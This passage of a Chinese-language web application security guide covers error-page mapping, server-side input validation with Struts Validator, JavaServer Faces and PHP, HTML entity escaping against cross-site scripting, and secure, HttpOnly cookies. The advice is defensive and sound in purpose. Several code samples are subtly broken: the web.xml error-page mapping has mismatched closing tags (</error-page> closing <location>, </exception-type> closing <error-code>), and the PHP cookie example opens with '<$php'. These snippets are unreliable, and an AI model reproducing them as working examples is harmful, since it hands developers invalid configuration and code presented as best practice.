output.write(errorMessage + "\r\n");
}
}
建议定义定制 JSP 标记(如 displayErrors),以迭代处理并呈现错误消息,如以上示例所示。
[4] 错误映射
通常情况下,“Servlet 容器”会返回与响应状态码或异常相对应的缺省错误页面。可以使用定制错误页面来指定状态码或异常与 Web 资源之间的映射。好的做法是开发不会泄露内部错误状态的静态错误页面(缺省情况下,大部分 Servlet 容器都会报告内部错误消息)。该映射配置在“Web 部署描述符(web.xml)”中,如以下示例所指定:
<!-- Mapping of HTTP error codes and application exceptions to error pages -->
<error-page>
<exception-type>UserValidationException</exception-type>
<location>/errors/validationError.html</error-page>
</error-page>
<error-page>
<error-code>500</exception-type>
<location>/errors/internalError.html</error-page>
</error-page>
<error-page>
...
</error-page>
...
推荐使用的 JAVA 工具用于服务器端验证的两个主要 Java 框架是:
[1] Jakarta Commons Validator(与 Struts 1.1 集成)Jakarta Commons Validator是 Java 框架,定义如上所述的错误处理机制。验证规则配置在 XML 文件中,该文件定义了表单字段的输入验证规则以及对应的验证错误密钥。Struts 提供国际化支持以使用资源束和消息格式化来构建本地化应用程序。
使用“Struts 验证器”来验证 loginForm 的 userName 字段的示例:
<form-validation>
<global>
...
<validator name="required"
classname="org.apache.struts.validator.FieldChecks"
method="validateRequired"
msg="errors.required">
</validator>
<validator name="mask"
classname="org.apache.struts.validator.FieldChecks"
method="validateMask"
msg="errors.invalid">
</validator>
...
</global>
<formset>
<form name="loginForm">
<!-- userName is required and is alpha-numeric case insensitive -->
<field property="userName" depends="required,mask">
<!-- message resource key to display if validation fails -->
<msg name="mask" key="login.userName.maskmsg"/>
<arg0 key="login.userName.displayname"/>
<var>
<var-name>mask</var-name>
<var-value>^[a-zA-Z0-9]*$</var-value>
</var>
</field>
...
</form>
...
</formset>
</form-validation>
Struts JSP 标记库定义了有条件地显示一组累计错误消息的“errors”标记,如以下示例所示:
<%@ page language="java" %>
<%@ taglib uri="/WEB-INF/struts-html.tld" prefix="html" %>
<%@ taglib uri="/WEB-INF/struts-bean.tld" prefix="bean" %>
<html:html>
<head>
<body>
<html:form action="/logon.do">
<table border="0" width="100%">
<tr>
<th align="right">
<html:errors property="username"/>
<bean:message key="prompt.username"/>
</th>
<td align="left">
<html:text property="username" size="16"/>
</td>
</tr>
<tr>
<td align="right">
<html:submit><bean:message key="button.submit"/></html:submit>
</td>
<td align="right">
<html:reset><bean:message key="button.reset"/></html:reset>
</td>
</tr>
</table>
</html:form>
</body>
</html:html>
[2] JavaServer Faces 技术
“JavaServer Faces 技术”是一组代表 UI 组件、管理组件状态、处理事件、验证输入和支持国际化的 Java API(JSR 127)。
JavaServer Faces API 定义“output_errors”UIOutput 处理器,该处理器显示整个页面的错误消息,或与指定的客户端标识相关联的错误消息。
使用 JavaServer Faces 来验证 loginForm 的 userName 字段的示例:
<%@ taglib uri="http://java.sun.com/jsf/html" prefix="h" %>
<%@ taglib uri="http://java.sun.com/jsf/core" prefix="f" %>
...
<jsp:useBean id="UserBean"
class="myApplication.UserBean" scope="session" />
<f:use_faces>
<h:form formName="loginForm" >
<h:input_text id="userName" size="20" modelReference="UserBean.userName">
<f:validate_required/>
<f:validate_length minimum="8" maximum="20"/>
</h:input_text>
<!-- display errors if present -->
<h:output_errors id="loginErrors" clientId="userName"/>
<h:command_button id="submit" label="Submit" commandName="submit" /><p>
</h:form>
</f:use_faces>
引用
Java API 1.3 -
http://java.sun.com/j2se/1.3/docs/api/Java API 1.4 -
http://java.sun.com/j2se/1.4/docs/api/Java Servlet API 2.3 -
http://java.sun.com/products/servlet/2.3/javadoc/Java 正则表达式包 -
http://jakarta.apache.org/regexp/Jakarta 验证器 -
http://jakarta.apache.org/commons/validator/JavaServer Faces 技术 -
http://java.sun.com/j2ee/javaserverfaces/PHP
** 输入数据验证:虽然为方便用户而在客户端层上提供数据验证,但仍必须始终在服务器层上执行数据验证。客户端验证本身就不安全,因为这些验证可轻易绕过,例如,通过禁用 Javascript。
一份好的设计通常需要 Web 应用程序框架,以提供服务器端实用程序例程,从而验证以下内容:[1] 必需字段[2] 字段数据类型(缺省情况下,所有 HTTP 请求参数都是“字符串”)[3] 字段长度[4] 字段范围[5] 字段选项[6] 字段模式[7] cookie 值[8] HTTP 响应好的做法是实现一个或多个验证每个应用程序参数的函数。以下部分描述一些检查的示例。
[1] 必需字段“始终”检查字段不为空,并且其长度要大于零,不包括行距和后面的空格。如何验证必需字段的示例:
// PHP example to validate required fields
function validateRequired($input) {
...
$pass = false;
if (strlen(trim($input))>0){
$pass = true;
}
return $pass;
...
}
...
if (validateRequired($fieldName)) {
// fieldName is valid, continue processing request
...
}
[2] 输入的 Web 应用程序中的字段数据类型和输入参数欠佳。例如,所有 HTTP 请求参数或 cookie 值的类型都是“字符串”。开发者负责验证输入的数据类型是否正确。[3] 字段长度“始终”确保输入参数(HTTP 请求参数或 cookie 值)有最小长度和/或最大长度的限制。[4] 字段范围
始终确保输入参数是在由功能需求定义的范围内。
[5] 字段选项 Web 应用程序通常会为用户显示一组可供选择的选项(例如,使用 SELECT HTML 标记),但不能执行服务器端验证以确保选定的值是其中一个允许的选项。请记住,恶意用户能够轻易修改任何选项值。始终针对由功能需求定义的受允许的选项来验证选定的用户值。[6] 字段模式
始终检查用户输入与由功能需求定义的模式是否匹配。例如,如果 userName 字段应仅允许字母数字字符,且不区分大小写,那么请使用以下正则表达式:^[a-zA-Z0-9]+$
[7] cookie 值
适用于 cookie 值的相同的验证规则(如上所述)取决于应用程序需求(如验证必需值、验证长度等)。
[8] HTTP 响应[8-1] 过滤用户输入要保护应用程序免遭跨站点脚本编制的攻击,开发者应通过将敏感字符转换为其对应的字符实体来清理 HTML。这些是 HTML 敏感字符:< > " ' % ; ) ( & +
PHP 包含一些自动化清理实用程序函数,如 htmlentities():
$input = htmlentities($input, ENT_QUOTES, 'UTF-8');
此外,为了避免“跨站点脚本编制”的 UTF-7 变体,您应该显式定义响应的 Content-Type 头,例如:
<?php
header('Content-Type: text/html; charset=UTF-8');
?>
[8-2] 保护 cookie
在 cookie 中存储敏感数据且通过 SSL 来传输时,请确保先在 HTTP 响应中设置 cookie 的安全标志。这将会指示浏览器仅通过 SSL 连接来使用该 cookie。
为了保护 cookie,您可以使用以下代码示例:
<$php
$value = "some_value";
$time = time()+3600;
$path = "/application/";
$domain = ".example.com";
$secure = 1;
setcookie("CookieName", $value, $time, $path, $domain, $secure, TRUE);
?>
此外,我们建议您使用 HttpOnly 标志。当 HttpOnly 标志设置为 TRUE 时,将只能通过 HTTP 协议来访问 cookie。这意味着无法用脚本语言(如 JavaScript)来访问 cookie。该设置可有效地帮助减少通过 XSS 攻击盗用身份的情况(虽然并非所有浏览器都支持该设置)。
在 PHP 5.2.0 中添加了 HttpOnly 标志。
引用[1] 使用 HTTP 专用 cookie 来减轻“跨站点脚本编制”的影响:
http://msdn2.microsoft.com/en-us/library/ms533046.aspx[2] PHP 安全协会:
http://phpsec.org/[3] PHP 和 Web 应用程序安全博客(Chris Shiflett):
http://shiflett.org/
欢迎大家分享更好的思路,热切期待^^_^^ !